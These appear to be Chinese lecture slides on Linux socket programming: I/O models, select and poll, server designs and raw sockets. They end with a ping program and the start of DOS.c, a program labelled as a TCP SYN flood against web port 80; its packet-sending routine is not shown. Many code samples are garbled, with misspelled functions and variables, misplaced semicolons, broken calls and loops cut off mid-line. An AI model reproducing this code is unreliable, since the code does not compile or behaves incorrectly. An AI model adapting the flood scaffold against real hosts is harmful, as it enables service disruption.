  • 111. 套接字选项F_SETFL:arg为O_NONBLOCK时进入非阻塞模式,为0是进入阻塞模式; F_GETFL:获得属性; F_SETOWN:用来设置套接字属主,用来接收数据SIGIO和SIGURG; F_GETOWN:用来获得上面设置的套接字属主信息。
  • 112. 系统IO与服务器模型
  • 113. 系统IO与服务器模型 在Linux/UNIX 下,有主要有4种I/O 模型: 阻塞I/O: 最常用、最简单、效率最低 非阻塞I/O: 可防止进程阻塞在I/O操作上 I/O 多路复用: 允许同时对多个I/O进行控制 信号驱动I/O: 一种异步通信模型
  • 114. 系统IO与服务器模型一般来说,程序进行输入操作有两步: 1.等待有数据可以读 2.将数据从系统内核中拷贝到程序的数据区。 对于一个对套接字的输入操作,第一步一般来说是等待数据从网络上传到本地。当数据包到达的时候,数据将会从网络层拷贝到内核的缓存中; 第二步是从内核中把数据拷贝到程序的数据区中。
  • 115. 阻塞I/O 模式
  • 116. 阻塞I/O 模式阻塞I/O 模式是最普遍使用的I/O 模式。大部分程序使用的都是阻塞模式的I/O 。 缺省的,一个套接字建立后所处于的模式就是阻塞I/O 模式。 前面学习的很多读写函数在调用过程中会发生阻塞。 读操作中的read、readv、recv、recvfrom、recvmsg 写操作中的write、writev、send、sendmag 另外:accept、connect
  • 117. 读阻塞以read函数为例: 进程调用read函数从套接字上读取数据,当套接字的接收缓冲区中还没有数据可读,函数read将发生阻塞。 它会一直阻塞下去,等待套接字的接收缓冲区中有数据可读。 经过一段时间后,缓冲区内接收到数据,于是内核便去唤醒该进程,通过read访问这些数据。 如果在进程阻塞过程中,对方发生故障,那这个进程将永远阻塞下去。
  • 118. Socket()Bind()Recvfrom()Sendto()Close()Socket()Bind()sendto()recvfrom()Close()用户态核心态套接字缓冲区中没有数据读阻塞套接字缓冲区中数据到达,进行数据复制等待函数返回读到数据
  • 119. 阻塞的talk程序 for(;;) { scanf(); sendto(); recvfrom(); printf(); } … for(;;) { scanf(); sendto(); recvfrom(); printf(); } ………
  • 120. 写阻塞在写操作时发生阻塞的情况要比读操作少。主要发生在要写入的缓冲区的大小小于要写入的数据量的情况下。 这时,写操作不进行任何拷贝工作,将发生阻塞。 一量发送缓冲区内有足够的空间,内核将唤醒进程,将数据从用户缓冲区中拷贝到相应的发送数据缓冲区。 UDP不用等待确认,没有实际的发送缓冲区,所以UDP协议中不存在发送缓冲区满的情况,在UDP套接字上执行的写操作永远都不会阻塞。
  • 121. 阻塞I/O 模式示例:在阻塞模式下单进程对两个套接字的轮询 #include #include #include #include #include #define SERVE_PORT 8003 int main(int argc,char **argv) { int sockfd1,sockfd2; int conn_flag; int num_bytes; char buffer[512]; struct sockaddr_in serv_addr1,serv_addr2;
  • 122. 阻塞I/O 模式 sockfd1=socket(AF_INET,SOCK_STREAM,0); if(socfd1<0); { fprintf(stderr,”socket error!\n”); exit(1); } sockfd2=socket(AF_INET,SOCK_STREAM,0); if(socfd2<0); { fprintf(stderr,”socket error!\n”); exit(1); }
  • 123. 阻塞I/O 模式 bxero(&serv_addr1,sizeof(serv_addr1)); serv_addr1.sin_family=AF_INET; erv_addr1.sin_port=htons(SERVE_PORT); bxero(&serv_addr2,sizeof(serv_addr1)); serv_addr2.sin_family=AF_INET; erv_addr2.sin_port=htons(SERVE_PORT); conn_flag=connetct(sockfd1,(struct sockaddr *)&serv_addr1, sizeof(struct sockaddr1)); if(conn_flag==-1) { fprintf(stderr,”connecy error!\n”); exit(1); } conn_flag=connetct(sockfd1,(struct sockaddr *)&serv_addr1, sizeof(struct sockaddr1)); if(conn_flag==-1) { fprintf(stderr,”connecy error!\n”); exit(1); }
  • 124. 阻塞I/O 模式 while(1) { num_bytes=recv(sockfd1,buffer,sizeof(buffer),0); if(num_bytes==0) fprintf(stderr,”no data!\n”); else if(num_byte<0) { fprintf(stderr,”recv error!\n”); exit(1); } else fprintf(“recv the data:%s\n”,buffer); num_bytes=recv(sockfd2,buffer,sizeof(buffer),0); if(num_bytes==0) fprintf(stderr,”no data!\n”); else if(num_byte<0) { fprintf(stderr,”recv error!\n”); exit(1); } else fprintf(“recv the data:%s\n”,buffer); } }
  • 125. 非阻塞模式I/O
  • 126. 非阻塞模式I/O当我们将一个套接字设置为非阻塞模式,我们相当于告诉了系统内核:“当我请求的I/O 操作不能够马上完成,你想让我的进程进行休眠等待的时候,不要这么做,请马上返回一个错误给我。” 当一个应用程序使用了非阻塞模式的套接字,它需要使用一个循环来不停地测试是否一个文件描述符有数据可读(称做polling)。 应用程序不停的polling 内核来检查是否I/O操作已经就绪。这将是一个极浪费CPU 资源的操作。 这种模式使用中不是很普遍。
  • 127. 非阻塞模式I/O套接字缓冲区中没有数据套接字缓冲区中没有数据……套接字缓冲区中数据到达,进行数据复制用户态核心态readread 返回readreadread 返回read 返回多次调用readEWOULDBLOCKEWOULDBLOCK读到数据
  • 128. 非阻塞模式的实现fcntl()函数 当你一开始建立一个套接字描述符的时候,系统内核就被设置为阻塞状态。 如果你不想你的套接字描述符是处于阻塞状态的,那么你可以使用函数fcntl()设置一个套接字的标志为O_NONBLOCK来实现非阻塞。 fcntl()函数声明如下: #include #include int fcntl (int fd, int cmd, long arg);(P141)
  • 129. 非阻塞模式的实现可以通过下列操作来完成整个过程: int flag flag = fcntl(sockfd, F_GETFL, 0); flag |=O_NONBLOCK; fcntl(sockfd, F_SETFL, flag); 一个非阻塞式I/O的实例:
  • 130. 非阻塞模式的实现#include #include #include #include #include #define SERVE_PORT 8003 int main(int argc,char **argv) { int sockfd1,sockfd2; int conn_flag; int num_bytes; char buffer[512]; struct sockaddr_in serv_addr1,serv_addr2;
  • 131. 非阻塞模式的实现 sockfd1=socket(AF_INET,SOCK_STREAM,0); if(socfd1<0); { fprintf(stderr,”socket error!\n”); exit(1); } sockfd2=socket(AF_INET,SOCK_STREAM,0); if(socfd2<0); { fprintf(stderr,”socket error!\n”); exit(1); }
  • 132. 非阻塞模式的实现 bxero(&serv_addr1,sizeof(serv_addr1)); serv_addr1.sin_family=AF_INET; erv_addr1.sin_port=htons(SERVE_PORT); bxero(&serv_addr2,sizeof(serv_addr1)); serv_addr2.sin_family=AF_INET; erv_addr2.sin_port=htons(SERVE_PORT); conn_flag=connetct(sockfd1,(struct sockaddr *)&serv_addr1, sizeof(struct sockaddr1)); if(conn_flag==-1) { fprintf(stderr,”connecy error!\n”); exit(1); } conn_flag=connetct(sockfd1,(struct sockaddr *)&serv_addr1, sizeof(struct sockaddr1)); if(conn_flag==-1) { fprintf(stderr,”connecy error!\n”); exit(1); }
  • 133. 非阻塞模式的实现 int val; val=fcntl(sockfd1,F_GETFL,0); if(val<0) { fprintf(stderr,”get socket atrribute error”); exit(1); } fcntl(sockfd1,F_SETFL,val|O_NONBLOCK); val=fcntl(sockfd2,F_GETFL,0); if(val<0) { fprintf(stderr,”get socket atrribute error”); exit(1); } fcntl(sockfd2,F_SETFL,val|O_NONBLOCK);
  • 134. 非阻塞模式的实现while(1) { num_bytes=recv(sockfd1,buffer,sizeof(buffer),0); if(num_bytes==0) fprintf(stderr,”no data!\n”); else if(num_byte<0) { fprintf(stderr,”recv error!\n”); exit(1); } else fprintf(“recv the data:%s\n”,buffer); num_bytes=recv(sockfd2,buffer,sizeof(buffer),0); if(num_bytes==0) fprintf(stderr,”no data!\n”); else if(num_byte<0) { fprintf(stderr,”recv error!\n”); exit(1); } else fprintf(“recv the data:%s\n”,buffer); } }
  • 135. 非阻塞模式I/O课后思考题: 将talk程序修改为非阻塞方式的。 即读套接字时不阻塞,可以反复发送。
  • 136. 多路复用I/O
  • 137. 多路复用的基本原理应用程序中同时处理多路输入输出流,若采用阻塞模式,将得不到预期的目的; 若采用非阻塞模式,对多个输入进行轮询,但又太浪费CPU时间; 若设置多个进程,分别处理一条数据通路,将新产生进程间的同步与通信问题,使程序变得更加复杂; 比较好的方法是使用I/O多路复用。其基本思想是: 先构造一张有关描述符的表,然后调用一个函数,它要到这些描述符中的一个已准备好进行I/O时才返回。 返回时,它告诉进程那个描述符已准备好可以进行I/O。
  • 138. 多路复用I/O首先介绍一个函数select #inxlude #include #include int select(int maxfd, fd_set *read_set,fd_set *write_set, fd_set *except_set,struct timeval *timeout) 参数说明: maxfd 所有监控的文件描述符中最大的那一个加1
  • 139. 函数selectRead_set 所有要读的文件文件描述符的集合 Write_set 所有要的写文件文件描述符的集合 Except_set 其他要向我们通知的文件描述符 Timeout 超时设置. Null:一直阻塞,直到有文件描述符就绪或出错 0:仅仅检测文件描述符集的状态,然后立即返回 非0:在指定时间内,如果没有事件发生,则超时返回。
  • 140. 函数select在我们调用select时进程会一直阻塞直到以下的一种情况发生. 有文件可以读. 有文件可以写. 超时所设置的时间到. 为了设置文件描述符我们要使用几个宏: FD_SET将fd加入到fdset FD_CLR将fd从fdset里面清除 FD_ZERO从fdset中清除所有的文件描述符 FD_ISSET判断fd是否在fdset集合中
  • 141. 多路复用I/O宏的形式: void FD_SET(int fd,fd_set *fdset) void FD_CLR(int fd,fd_set *fdset) void FD_ZERO(fd_set *fdset) int FD_ISSET(int fd,fd_set *fdset)
  • 142. 多路复用I/O使用select的一个例子 int use_select(int *readfd,int n) { fd_set my_readfd; int maxfd; int i; maxfd=readfd[0]; for(i=1;imaxfd) maxfd=readfd[i];
  • 143. while(1) { /* 将所有的文件描述符加入 */ FD_ZERO(&my_readfd); for(i=0;i
  • 144. 多路复用I/O在使用I/O 多路技术的时候,我们调用select()函数时候阻塞,而不是我们来调用recvfrom(或recv)的时候阻塞。 当我们调用select 函数阻塞的时候,select 函数等待数据报套接字进入读就绪状态。 当select 函数返回的时候,也就是套接字可以读取数据的时候。 这时候我们就可以调用recvfrom函数来将数据拷贝到我们的程序缓冲区中。
  • 145. 应用程序系统内核select没有数据就绪系统调用recvfrom数据就绪,进行拷贝系统调用返回可用的描述符拷贝结束处理数据……正常返回等待数据从内核拷贝数据进程在select处阻塞,等待描述符中的一个变为可操作程序在数据拷贝时阻塞
  • 146. 多路复用I/O和阻塞模式相比较,多路复用的高级之处在于,它能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪状态,select()函数就可以返回。 多路复用除了可以使用select函数实现外,还可以用poll函数来实现。 与select函数相比,poll调用形式有所不同,它与流系统紧紧相关。 select()是BSD中的实现方式,而poll()则是AT&T的SVR4中的实现方式。
  • 147. poll函数函数调用格式: # include # include int poll(struct pollfd fdarray[],unsigned long nfds,int timeout) 与select不同,poll不是为每个条件构造一个描述符,而是构造一个pollfd结构数组,每个数组元素指定一个描述符编号以及对其所关心的条件。 struct pollfd{ int fd; /*要检查的文件描述符*/ short events; /*对fd感兴趣的文件*/ short revents; /*对fd已发生的文件*/ }
  • 148. 多路复用I/OI/O 多路服用技术并不只局限与网络程序应用上。几乎所有的程序都可以找到应用I/O多路复用的地方: 当一个客户端需要同时处理多个文件描述符的输入输出操作的时候(一般来说是标准的输入输出和网络套接字), I/O 多路复用技术将会有机会得到使用。 当程序需要同时进行多个套接字的操作的时候。 如果一个TCP 服务器程序同时处理正在侦听网络连接的套接字和已经连接好的套接字。 如果一个服务器程序同时使用TCP 和UDP 协议。 如果一个服务器同时使用多种服务并且每种服务可能使用不同的协议(比如inetd就是这样的)。
  • 149. 多路复用I/O 多路复用I/O的应用实例: 使用多路复用的UDP Talk程序 使用多路复用的TCP程序
  • 150. 使用多路复用的UDP Talk程序//resived udptalk again---using connect and select #include #include #include #include #include #include #define BUFLEN 255 #define max(x,y) (((x)>(y))?(x):(Y))
  • 151. int main(int argc,char **argv) { struct sockaddr_in peeraddr,localaddr; int sockfd,n,maxfd,socklen; char msg[BUFLEN+1]; fd_set infds; if(argc!=5){ printf(“%s \n”,argv[0]); exit(0); }
  • 152. sockfd=socket(AF_INET,SOCK_DGRAM,0); if(sockfd<0){ fprintf(stderr,”socket creating error\n”); exit(1); } socklen=sizeof(struct sockaddr_in); memset(&peeraddr,0,socklen); peeraddr.sin_family=AF_INET; peeraddr.sin_port=htons(atoi(argv[2])); if(inet_pton(AF_INET,argv[1],&peeraddr.sin_addr)<=0){ printf(“wrong dest IP address\n”); exit(0); }
  • 153. memset(&localaddr,0,socklen); localaddr.sin_family=AF_INET; localaddr.sin_port=htons(atoi(argv[4])); if(inet_pton(AF_INET,argv[3],&localaddr.sin_addr)<=0){ printf(“wrong source IP address\n”); exit(0); } if(bind(sockfd,&localaddr,socklen)<0){ fprintf(stderr,”bind local address error\n”); exit(2); } connect(sockfd,&peeraddr,socklen);
  • 154. for(;;){ FD_ZERO(&infds); FD_SET(fileno(stdin),&infds); FD_SET(sockfd,&infds); maxfd=max(fileno(stdin),sockfd)+1; if(select(maxfd,&infds,NULL,NULL,NULL)==-1){ fprintf(stderr,”select error\n”); exit(3); }
  • 155. if(FD_ISSET(sockfd,&infds)){ n=read(sockfd,msg,BUFLEN); if((n==-1)||(n==0)){ printf(peer closed\n”); exit(0); } else{ msg[n]=0; printf(“peer: %s”,msg); } }
  • 156. if(FD_ISSET(fileno(stdin),&infds)){ if(fgets(msg,BUFLEN,stdin)==NULL){ printf(“talk over\n”); exit(0); } write(sockfd,msg,strlen(msg)); printf(“send: &s”,msg); } }
  • 157. 使用多路复用的TCP程序服务器程序: # include # include # include # include # include # include # include #define MAXLINE 512 #define SERV_PORT 8003 #define FD_SETSIZE 64 static ssize_t my_read(int fd,char ptr); ssize_t readline(int fd,void vptr,size_t maxlen); ssize_t writen(int fd,const void vptr,int n);
  • 158. 使用多路复用的TCP程序int main(int argc,char **argv) { int i,maxi,maxfd; int listen_fd,connfd,sockfd; int num_fd,client[FD_SETSIZE],files; ssize_t n; fd_set rset,allset; char line[MAXLINE]; socklen_t clilen; struct sockaddr_in client_addr,serv_addr; FILE *files; files=open(“./tmp.log”,O_RDWR); if(files>0){ printf(“file tmp.log already exit, move it and restart\n”); exit(0); } files=open(“./tmp.log”,O_WRONLYIO_CREAT|O_TRUNC);
  • 159. 使用多路复用的TCP程序listen_fd=socket(AF_INET,SOCK_STREAM,0); bzero(&serv_addr,sizeof(serv_addr)); serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); serv_addr.sin_port=htons(SERV_PORT); bind(listen_fd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); listen(listen_fd,5); maxfd=listen_fd; maxi=-1; for(i=0;i
  • 160. 使用多路复用的TCP程序while(1) { rset=allset; num_fd=select(maxfd+1,&rset,NULL,NULL,NULL); if(FD_ISSET(listen_fd,&rset){ clilen=sizeof(client_addr); connfd=accept(listen_fd,(struct sockaddr *)&client_addr,&clilen); for(i=0;imaxfd) maxfd=connfd; if(i>maxi) maxi=i; if(--num_fd<=0) contine; }
  • 161. 使用多路复用的TCP程序 for(i=0;i<=maxi;i++) { if((sockfd=client[i])<0) continue; if(FD_ISSET(sockfd,&Rset)) { if((n=readline(sockfd,line,MAXLINE))==0) { close(sockfd); FD_CLR(sockfd,&allset); client[i]=-1; } else writen(files,line,n); if(--num_fd<=0) break; } } } close(files); }
  • 162. 使用多路复用的TCP程序static ssize_t my_read(int fd,char *ptr) { static int read_cnt=0; static char *read_ptr; static char read_buf[MAXLINE]; if(read_cnt<=0){ again: if((read_cnt=read(fd,read_buf,sixeof(read_buf)))<)){ if(errno==EINTR) goto again; else if(errno==EBADF) printf(“file not valid”); return(-1); } else if(read_cnt==0) return(0); read_prt=read_buf; } read_cnt--; *ptr=*read_ptr++; return(1); }
  • 163. 使用多路复用的TCP程序ssize_t readline(int fd,void *vptr,size_t maxlen) { int n,rc; char c,*ptr; ptr=vptr; for(n=1;n
  • 164. 使用多路复用的TCP程序ssize_t writen(int fd,const void *vptr,int n) { int n_left; int n_write; const char *nptr; nptr=vptr; n_left=n; while(n_left>0) { if((n_write=write(fd,nptr,n_left))<=0){ if(errno==EINTR) n_write=0; else return(-1); } n_left-=n_write; nptr+=n_write; } return(n); }
  • 165. 使用多路复用的TCP程序客户端程序: #include #include #include #include #include #include #inclde #define MAXLINE 512 #define SERV_PORT 8003 ssize_t readline(int fd,void vptr,size_t maxlen); ssize_t write(int fd,const void vptr,int n); int max(int a,int b) { if(a>b) return(a); else return(b); }
  • 166. 使用多路复用的TCP程序void handle_client(FILE *fp,int sockfd) { int maxfdp1,stdlineof; fd_set rset; char sendline[MAXLINE],recvline[MAXLINE]; stdineof=0; FD_ZERO(&rset); while(1){ if(stdineof==0) FD_SET(fileno(fp),&rset); FD_SET(sockfd,&rset); select(maxfdp1,&rset,NULL,NULL,NULL); if(FD_ISSET(sockfd,&rset)){ if(stdineof==1) return; else { printf(“server terminated”); exit(0); } fputs(recvline,stdout); }
  • 167. 使用多路复用的TCP程序 if(FD_ISSET(fileno(fp),&rset)) { if(fgets(sendline,MAXLINE,fp)==NULL) { stdineof=1; shutdown(sockfd,SHUT_WR); FD_CLR(fileno(fp),&rset); continue; } writen(sockfd,sendline,strlen(sendline)); } } }
  • 168. 使用多路复用的TCP程序int main(int argc,char **argv) { int i,client_sockfd; FILE *client_file; struct sockaddr_in serv_addr; char *file; if(argc!=3){ printf(“parameter error!\n”); exit(0); } client_sockfd=socket(AF_INET,SOCK_STREAM,0);
  • 169. 使用多路复用的TCP程序 bzero(&serv_addr,sizeof(serv_addr)); serv_addr.sin_family=AF_INET; serv_addr.sin_port=htons(SERV_PORT); inet_aton(argv[1],&serv_addr.sin_addr); if(xonnect(client_sockfd,(struct sockaddr *)&serv_addr, sizeof(serv_addr))<0) { printf{“connect error”); exit(0); } client_file=fopen(argv[2],’r’); printf(“%d\n”,fileno(client_file)); handle_client(client_file,client_sockfd); close(client_file); exit(0); }
  • 170. 使用多路复用的TCP程序ssize_t readline(int fd,void *rptr,size_t maxlen) { int n,rc; char c,*ptr; ptr=vptr; for(n=1;n
  • 171. 使用多路复用的TCP程序ssize_t write(int fd,const void *vptr,int n) { int n_left,n_write; const char *nptr; nptr=vptr; n_left=n; while(n_left>0){ if((n_write=write(fd,nptr,n_left))<=0){ if(errno==EINTR) n_write=0; else return(-1); } n_left-=n_write; nptr+=n_write; } return(n); }
  • 172. 多路复用I/O课后思考题: 编写一个多路复用在TCP方式下的应用---一个聊天程序(chat)。 提示: 聊天的关键就是任何人输入的话能被所有人看到(包括本人)。聊天程序被分为客户端和服务端。 客户端对应每个参加聊天的人,完成从终端输入,并传递到服务端以及从服务端接收信息输出显示的功能,与改写的UDP Talk程序类似,聊天的客户通过select()实现标准输入和socket输入的多路复用。 服务器端负责将一个客户端送来的信息发送到所有的客户端。由于服务端同时与多个客户连接,因此需要通过select()来实现多个socket输入流的复用。
  • 173. 信号驱动I/O 模式
  • 174. 信号驱动I/O 模式信号驱动I/O模式是应用了中断技术,让内核在文件描述符就绪的时候使用SIGIO 信号来通知我们。我们将这种模式称为信号驱动I/O 模式。 使用这种模式,我们首先需要允许套接字使用信号驱动I/O ,还要安装一个SIGIO 的处理函数。 在这种模式下,系统调用将会立即返回,然后我们的程序可以继续做其他的事情。 当数据就绪的时候,系统会向我们的进程发送一个SIGIO 信号。这样我们就可以在SIGIO信号的处理函数中进行I/O 操作(或是我们在函数中通知主函数有数据可读)。
  • 175. 信号驱动I/O 模式对于信号驱动I/O 模式,它的先进之处在于它在等待数据的时候不会阻塞,程序可以做自己的事情。 当有数据到达的时候,系统内核会向程序发送一个SIGIO 信号进行通知 这样我们的程序就可以获得更大的灵活性,因为我们不必为等待数据进行额外的编码。
  • 176. 信号驱动I/O的实现过程用户态核心态设置信号SIGIO的处理函数信号处理函数readread返回有数据,发送SIGIO信号拷贝数据程序执行
  • 177. 信号驱动I/O 模式为了在一个套接字上使用信号驱动I/O 操作,下面这三步是所必须的: 一个和SIGIO 信号的处理函数必须设定。 套接字的拥有者必须被设定。一般来说是使用fcntl 函数的F_SETOWN 参数来进行设定拥有者。 如果第3个参数是正整数,则表示进程号,此时将由该指定的进行作为接帐者。 如果第3个参数是一个负整数,则表示指定由该数的绝对值对应的进程组作来接收数据。 套接字必须被允许使用异步I/O。一般是通过调用fcntl 函数的F_SETFL 命令,O_ASYNC 为参数来实现。
  • 178. 信号驱动I/O 模式UDP 套接字的SIGIO 信号 在UDP 协议上使用异步I/O 非常简单.这个信号将会在这个时候产生: 套接字收到了一个数据报的数据包。 套接字发生了异步错误。 当我们在使用UDP 套接字异步I/O 的时候,我们使用recvfrom()函数来读取数据报数据或是异步I/O 错误信。
  • 179. 信号驱动I/O 模式TCP 套接字的SIGIO 信号 不幸的是,异步I/O 几乎对TCP 套接字而言没有什么作用。因为对于一个TCP 套接字来说, SIGIO 信号发生的几率太高了,所以SIGIO 信号并不能告诉我们究竟发生了什么事情。 在TCP 连接中, SIGIO 信号将会在这个时候产生: 在一个监听某个端口的套接字上成功的建立了一个新连接。 一个断线的请求被成功的初始化。 一个断线的请求成功的结束。 套接字的某一个通道(发送通道或是接收通道)被关闭。 套接字接收到新数据。 套接字将数据发送出去。 发生了一个异步I/O 的错误。
  • 180. 服务器模型
  • 181. 服务器模型在网络程序里面,一般的来说都是许多客户机对应一个服务器。 为了处理客户机的请求, 对服务端的程序就提出了特殊的要求。 目前最常用的服务器模型. 循环服务器: 循环服务器在同一个时刻只可以响应一个客户端的请求 并发服务器: 并发服务器在同一个时刻可以响应多个客户端的请求
  • 182. 服务器模型循环服务器:UDP服务器 UDP循环服务器的实现非常简单: UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机. 可以用下面的算法来实现: socket(...); bind(...); while(1) { recvfrom(...); process(...); sendto(...); }
  • 183. 服务器模型因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足
  • 184. 服务器模型循环服务器:TCP服务器 TCP循环服务器的实现也不难: TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接. TCP循环服务器一次只能处理一个客户端的请求. 只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求. 这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.
  • 185. 服务器模型算法如下: socket(...); bind(...); listen(...); while(1) { accept(...); while(1) { read(...); process(...); write(...); } close(...); }
  • 186. 服务器模型并发服务器:TCP服务器 为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理. TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.
  • 187. 服务器模型算法如下: socket(...); bind(...); listen(...); while(1) { accept(...); if(fork(..)==0) { while(1) { read(...); process(...); write(...); } close(...); exit(...); } close(...); }
  • 188. 服务器模型并发服务器:UDP服务器 人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样. 除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.
  • 189. 服务器模型I/O多路复用并发服务器 初始话(socket,bind,listen); while(1) { 设置监听读写文件描述符(FD_*); 调用select; 如果是倾听套接字就绪,说明一个新的连接请求建立 { 建立连接(accept); 加入到监听文件描述符中去; } 否则说明是一个已经连接过的描述符 { 进行操作(read或者write); } }
  • 190. 服务器模型多路复用I/O可以解决资源限制的问题.此模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户会等待很久.
  • 191. 网际层的原始套接字编程--- SOCK_RAW
  • 192. 原始套接字概述我们在前面已经学习过了网络程序的两种套接字: SOCK_STREAM SOCK_DRAGM 在这一章 里面我们一起来学习另外一种套接字--原始套接字: SOCK_RAW 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.
  • 193. 原始套接字的创建 int sockfd(AF_INET,SOCK_RAW,protocol) 可以创建一个原始套接字. 根据协议的类型不同我们可以创建不同类型的原始套接字 比如: IPPROTO_ICMP IPPROTO_TCP IPPROTO_UDP等等 详细的情况查看
  • 194. IP协议是一种不可靠、无连接的数据报传送服务协议版本号报头长度服务类型数据报长度DFMF段偏移0 3 7 15 19 31 标识生存时间TTL协议报头校验和源IP地址目的IP地址选项和填充(最大为40字节)数据区IP数据报结构
  • 195. ICMP报文格式尽管每个ICMP报文有自己的格式,但都有相同的三个字段开始。此外报告差错的ICMP报文还包含产生问题的数据报首部及开头64比特数据。TYPECODECHECKSUM类型字段ICM报文类型0 3 4 5 8 11 12 13 14 17 18回送应答 目的地不可达 源站抑制 重定向 回送请求 数据报超时 数据报参数错 时间戳请求 时间戳应答 地址掩码请求 地址掩码应答
  • 196. TCP递给IP的数据块叫做消息段(segment)。这个消息段由TCP协议标题域(TCP header field)和存放应用程序的数据域(header fields)组成 TCP协议标题的结构
  • 197. UDP信息包由UDP标题和数据组成。 UDP的标题结构由5个域组成:源端端口(Source Port)、目的地端口(Destination Port)、用户数据包的长度(Length)和检查和(Checksum)。其中,前4个域组成UDP标题(UDP header),每个域由4个字节组成;检查和域占据2个字节,它用来检测传输过程中是否出现了错误;用户数据包的长度包括所有5个域的字节数。UDP协议的标题结构
  • 198. 原始套接字编程举例 Myping.c DOS(TCP SYN泛洪)
  • 199. myping.h----header of file for myping.c#include #include #include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE 4096 #define MAX_WAIT_TIME 5 #define MAX_NO_PACKETS 3
  • 200. myping.h----header of file for myping.cextern int errno; char sendpacket[PACKET_SIZE]; char recvpacket[PACKET_SIZE]; int sockfd,datalen=56; int nsend=0,nreceived=0; struct sockaddr_in dest_addr; pid_t pid; void send_packet(); void recv_packet(); int pack(int pack_no); int unpack(char *buf,int len); unsigned short cal_chksum(unsigned short *addr,int len); void statistics();
  • 201. Myping.c#include "myping.h" int main(int argc,char *argv[]) { struct hostent *host; struct protoent *protocol; unsigned long inaddr=0L; int waittime=MAX_WAIT_TIME; int size=50*1024; if(argc<1){ printf("Usage: %s hostname | IPaddress\n",argv[0]); exit(1); } protocol=getprotobyname("icmp"));
  • 202. Myping.c if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0){ perror("Socket error:"); exit(3); } setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size)); bzero(&dest_addr,sizeof(dest_addr)); dest_addr.sin_family=AF_INET;
  • 203. Myping.c if((inaddr=inet_addr(argv[1]))==INADDR_NONE){ if((host=gethostbyname(argv[1]))==NULL){ perror("hostname error"); exit(4); } memcpy((char *)&dest_addr.sin_addr,host->h_addr,host->h_length); } else{ memcpy((char *)&dest_addr.sin_addr,(char*)&inaddr,sizeof(inaddr)); }
  • 204. Myping.c send_packet(); recv_packet(); statistics(); return 0; }
  • 205. Myping.cvoid send_packet() { int packetsize; while(nsend
  • 206. Myping.cint pack(int pack_no) { int i,packsize; struct icmp *icmp; icmp=(struct icmp *)sendpacket; pid=getpid(); icmp->icmp_type=ICMP_ECHO; icmp->icmp_code=0; icmp->icmp_cksum=0; icmp->icmp_id=pid; icmp->icmp_seq=pack_no; packsize=8+datalen; icmp->icmp_cksum=cal_chksum((unsigned short *)icmp,packsize); return packsize; }
  • 207. Myping.cunsigned short cal_chksum(unsigned short *addr,int len) { int nleft=len; int sum=0; unsigned short *w=addr; unsigned short answer=0; while(nleft>1){ sum+=*w++; nleft-=2; } if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return answer; }
  • 208. Myping.cvoid recv_packet() { int n,fromlen,packet_no; struct sockaddr_in from; printf("\n"); signal(SIGALRM,statistics); while(nreceived
  • 209. Myping.cint unpack(char *buf,int len) { int i,iphdrlen; struct ip *ip; struct icmp *icmp; long *lp; ip=(struct ip*)buf; iphdrlen=ip->ip_hl<<2; icmp=(struct icmp *)(buf+iphdrlen); len-=iphdrlen; if(len<8){ printf("ICMP packets\' length is less than 8\n"); return(-1); } if((icmp->icmp_type==ICMP_ECHOREPLY)&&(icmp->icmp_id==pid)) return icmp->icmp_seq; else return -1; }
  • 210. Myping.cvoid statistics() { printf("\n-----Ping statistics------\n"); printf("%d ICMP packets sended,%d receive,%%%dlost\n",nsend,nreceived,(nsend-nreceived)/nsend*100); close(sockfd); exit(0); }
  • 211. DOS.c/******************** DOS.c *****************/ #include #include #include #include #include #include #include #include #include #define DESTPORT 80 /* 要攻击的端口(WEB) */ #define LOCALPORT 8888
  • 212. DOS.cvoid send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); }
  • 213. DOS.c bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); }
  • 214. DOS.c/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } // 设置IP数据包格式,告诉系统内核模块IP数据包 //由我们自己来填写 setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); // 没有办法,只用超级护用户才可以使用原始套接字 setuid(getpid()); /********* 发送炸弹了!!!! ****/ send_tcp(sockfd,&addr); }
